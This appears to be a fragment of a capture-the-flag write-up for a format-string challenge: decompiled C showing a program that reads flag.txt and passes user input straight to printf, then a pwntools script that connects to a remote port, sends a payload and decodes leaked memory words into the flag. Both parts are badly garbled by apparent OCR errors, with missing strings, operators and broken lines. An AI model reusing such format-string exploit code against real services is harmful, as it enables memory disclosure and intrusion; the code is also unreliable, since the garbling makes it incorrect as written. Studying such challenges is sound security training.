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t 1lint __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2
3| __gid_t v3; // ST24_4
4| FILE xstream; // [esp+18h] [ebp-96h]
5| char s; // [esp+1ch] [ebp-8Ch]
6| char v6; // [esp+5Ch] [ebp-4cCh]
7| unsigned int v7; // [esp+9Ch] [ebp-Ch]
8
9| v7 = __readgsdword(@x14u);
10| setvbuf(stdout, @, 2, @);
11| v3 = getegid();
12| setresgid(vs, v3, v3);
13| memset(&s, @, @x40u);
14| memset(&s, @, @x40u);
15| puts("Time to learn about Format Strings!");
16 puts("We will evaluate any format string you give us with printf().");
17| puts{=gee if you can get the flag!");
18 = fopen("flag.txt", "r");
19| if ( !stream )
20 {
21 puts(
22 "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
23 exit(o);
24
25| fgets(&v6, 64, stream);
26 while ( 1)
271 {
28 printf("> ");
29 ge 5 6 din);
3
31| }
| ®32) C
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from pwn import

context(arch , log level

file name

remote( , 26540)

process(file name)

elf ELF(file_name)

def dbg():
gdb.attach(r)

(i
r.sendline(pl)
r.recvuntil( )
addr ((r.recvuntil( )[:-1]), 16)
a (addr & 0xff000000) 24
b (addr & 0x00ff0000) 16
C (addr & 0x0000ff00) 8
d addr & 0Ox000000ff
flag (d) (c)

print( flag)

r.interactive()
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